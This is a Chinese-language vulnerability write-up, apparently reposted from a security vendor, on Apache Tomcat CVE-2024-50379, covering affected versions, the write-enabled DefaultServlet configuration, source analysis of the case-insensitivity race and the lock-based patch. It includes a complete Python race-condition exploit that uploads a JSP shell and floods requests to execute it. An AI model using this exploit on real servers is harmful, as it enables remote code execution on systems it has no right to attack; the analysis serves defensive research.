Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略

admin 2025年3月24日23:26:47评论26 views字数 7031阅读23分26秒阅读模式
Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略

Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略

您的Web服务器可能正暴露在远程攻击的风险中!立即了解Apache Tomcat的最新漏洞及其修复方法。

Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略

在网络安全领域,Apache Tomcat 作为广泛使用的开源Web服务器和Servlet容器,其安全性一直受到开发者和管理员的高度关注。然而,最近发现的一个高危漏洞 CVE-2024-50379,可能会让Tomcat服务器面临远程代码执行的风险。这个漏洞是如何产生的?它的影响范围有多广?我们又该如何防范?本文将为您详细解析.

Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略
一、漏洞描述
If the default servlet is write enabled (readonly initialisation parameter set to the non-default value of false) for a case insensitive file system, concurrent read and upload under load of the same file can bypass Tomcat's case sensitivity checks and cause an uploaded file to be treated as a JSP leading to remote code execution.
如果默认Servlet启用了写权限(即readonly初始化参数被设置为非默认值false),在不区分大小写的文件系统中,同一文件的并发读取和上传操作可能会绕过Tomcat的大小写敏感性检查,导致上传的文件被视为JSP文件,从而引发远程代码执行漏洞。
Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略
二、漏洞条件
  • Windows操作系统:对文件扩展名大小写不敏感

  • 版本:

11.0.0-M1 <= Apache Tomcat < 11.0.2
10.1.0-M1 <= Apache Tomcat < 10.1.34
9.0.0.M1 <= Apache Tomcat < 9.0.98
  • DefaultServlet需要有以下配置:开启写权限

<servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>


        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <!-- 开启写权限 -->
        <init-param>
            <param-name>readonly</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略
三、漏洞验证
(一)准备工作
Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略
  • 环境:

tomcat: 9.0.96

jre: 1.8

system: Windows 11 

  • exploit:
import requests
import threading
import sys
SHELL_CONTENT = '''
<% Runtime.getRuntime().exec("calc.exe");%>
'''

# 使用 Event 控制线程终止
stop_event = threading.Event()
def upload_shell(url):
    session = requests.Session()  # 每个线程使用独立的 Session
    print("[+] Uploading JSP shell...")
    while not stop_event.is_set():
        try:
            response = session.put(url, data=SHELL_CONTENT, timeout=3)
            # if response.status_code not in (201, 204):
            #     print(f"[-] Upload failed with status code: {response.status_code}")
               
        except Exception as e:
            if not stop_event.is_set():
                print(f"[-] Upload error: {str(e)}")
def accessShell(url):
    session = requests.Session()  # 每个线程使用独立的 Session (session线程不安全)
    while not stop_event.is_set():
        try:
            response = session.get(url, timeout=3)
            if response.status_code == 200:
                print("[+] Access Success")
                stop_event.set()  # 触发所有线程停止
                return
        except Exception as e:
            if not stop_event.is_set():
                print(f"[-] Access error: {str(e)}")
                if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python Poc.py <base_url> <shell_name>")
        sys.exit(1)
    base_url = sys.argv[1]
    shell_name = sys.argv[2]
    upload_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].upper()}"
    access_url = f"{base_url}/{shell_name[:-3]}{shell_name[-3:].lower()}"
    print(f"upload_url: {upload_url}")
    print(f"access_url: {access_url}")
    # 创建上传线程池
    upload_threads = []
    for _ in range(20):
        t = threading.Thread(target=upload_shell, args=(upload_url,))
        t.daemon = True  # 设置为守护线程
        upload_threads.append(t)
        t.start()
    # 创建访问线程池
    access_threads = []
    for _ in range(5000):
        t = threading.Thread(target=accessShell, args=(access_url,))
        t.daemon = True  # 设置为守护线程
        access_threads.append(t)
        t.start()
    # 主线程循环检查停止事件
    try:
        while not stop_event.is_set():
            pass
    except KeyboardInterrupt:
        stop_event.set()
        print("n[!] Stopping all threads due to keyboard interrupt.")
    # 等待所有线程完成
    for thread in upload_threads + access_threads:
        thread.join()
    print("n[!] All threads stopped.")
(二)复现过程
Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略

第一步,重新开启tomcat。

Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略

注意这时会弹出一个另一个弹窗,不要关闭这个弹窗,不然 http://localhost:8080/ 无法访问

Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略
第二步,执行python脚本:
python CVE-2024-50379.py http://localhost:8080 shell.jsp
Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略
执行成功!

脚本执行期间可以观察到,在 D:Program Files (x86)apache-tomcat-9.0.96apachetomcat-9.0.96webappsROOT中,shell.JSP的大小会在1KB和0KB反复变化。

Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略
四、漏洞分析
Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略
  • org.apache.catalina.webresources.DirResourceSet#getResource

@Override
    public WebResource getResource(String path) {
        checkPath(path);
        String webAppMount = getWebAppMount();
        WebResourceRoot root = getRoot();
        if (path.startsWith(webAppMount)) {
       //获取资源
            File f = file(path.substring(webAppMount.length()), false);
            if (f == null) {
                return new EmptyResource(root, path);
           }
            if (!f.exists()) {
                return new EmptyResource(root, path, f);
           }
            if (f.isDirectory() && path.charAt(path.length() - 1) != '/') {
                path = path + '/';
           }
            return new FileResource(root, path, f, isReadOnly(), getManifest());
       } else {
            return new EmptyResource(root, path);
       }
   }
  • org.apache.catalina.webresources.AbstractFileResourceSet#file

protected final File file(String name, boolean mustExist) {
        if (name.equals("/")) {
            name = "";
       }
        File file = new File(fileBase, name);
 
        //一些处理
       ... 
        // Check that this file is located under the WebResourceSet's base
        String canPath = null
        try {
            //漏洞点
            canPath = file.getCanonicalPath();
       } catch (IOException e) {
            // Ignore
       }
        if (canPath == null || !canPath.startsWith(canonicalBase)) {
            return null;
       }
        
        String absPath = normalize(file.getAbsolutePath());
       ...
        //必须绕过才能利用成功
        if (!canPath.equals(absPath)) {
            if (!canPath.equalsIgnoreCase(absPath)) {
                logIgnoredSymlink(getRoot().getContext().getName(), absPath, 
canPath);
           }
            return null;
       }
 //必须进入这里才能利用成功
        return file;
   }
当file所指向的文件不存在,或该文件正在被写(还没有落地)时,file.getCanonicalPath()返回的路径与构造file对象时传入的路径(absPath)一致,文件落地后file.getCanonicalPath()获取到的就是文件实际规范路径(xxx/shell.JSP),这也是需要条件竞争的原因。
Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略
五、漏洞修复
相关补丁:
  • Fix inconsistent resource metadata with current GET and PUT/DELETE apache/tomcat@43b507e[1]
  • https://github.com/apache/tomcat/commit/631500b0c9b2a2a2abb707e3de2e10a5936e5d41
其大致思路是用锁机制,对PUT shell.JSP和GET shell.jsp进行同步,使得当进行PUT shell.JSP时,GET shell.jsp会被阻塞在临界区外,其中临界资源是 xxx/shell.jsp(等同于xxx/shell.JSP) 所指向的文件。
Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略
六、相关链接
[1]https://github.com/apache/tomcat/commit/43b507ebac9d268b1ea3d908e296cc6e46795c00#diff-9ef629b0fed493766e5de73355d2f7c8b9e147911c6c72ad26fd4945d84d9a8c
[2]https://www.cvedetails.com/cve/CVE-2024-50379
[3]http://www.yxfzedu.com/article/12035
[4]https://xz.aliyun.com/news/16337
[5]https://blog.csdn.net/qq_61972142/article/details/144914333
[6]https://blog.csdn.net/qq_63217130/article/details/144588392
Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略
山石网科是中国网络安全行业的技术创新领导厂商,由一批知名网络安全技术骨干于2007年创立,并以首批网络安全企业的身份,于2019年9月登陆科创板(股票简称:山石网科,股票代码:688030)。
现阶段,山石网科掌握30项自主研发核心技术,申请540多项国内外专利。山石网科于2019年起,积极布局信创领域,致力于推动国内信息技术创新,并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发,旨在通过自主创新,为用户提供更高效、更安全的网络安全保障。目前,山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及边界安全、云安全、数据安全、业务安全、内网安全、智能安全运营、安全服务、安全运维等八大类产品服务,50余个行业和场景的完整解决方案。

Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略

原文始发于微信公众号(山石网科安全技术研究院):Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月24日23:26:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Tomcat 高危RCE漏洞CVE-2024-50379:复现分析与防御策略http://cn-sec.com/archives/3874329.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息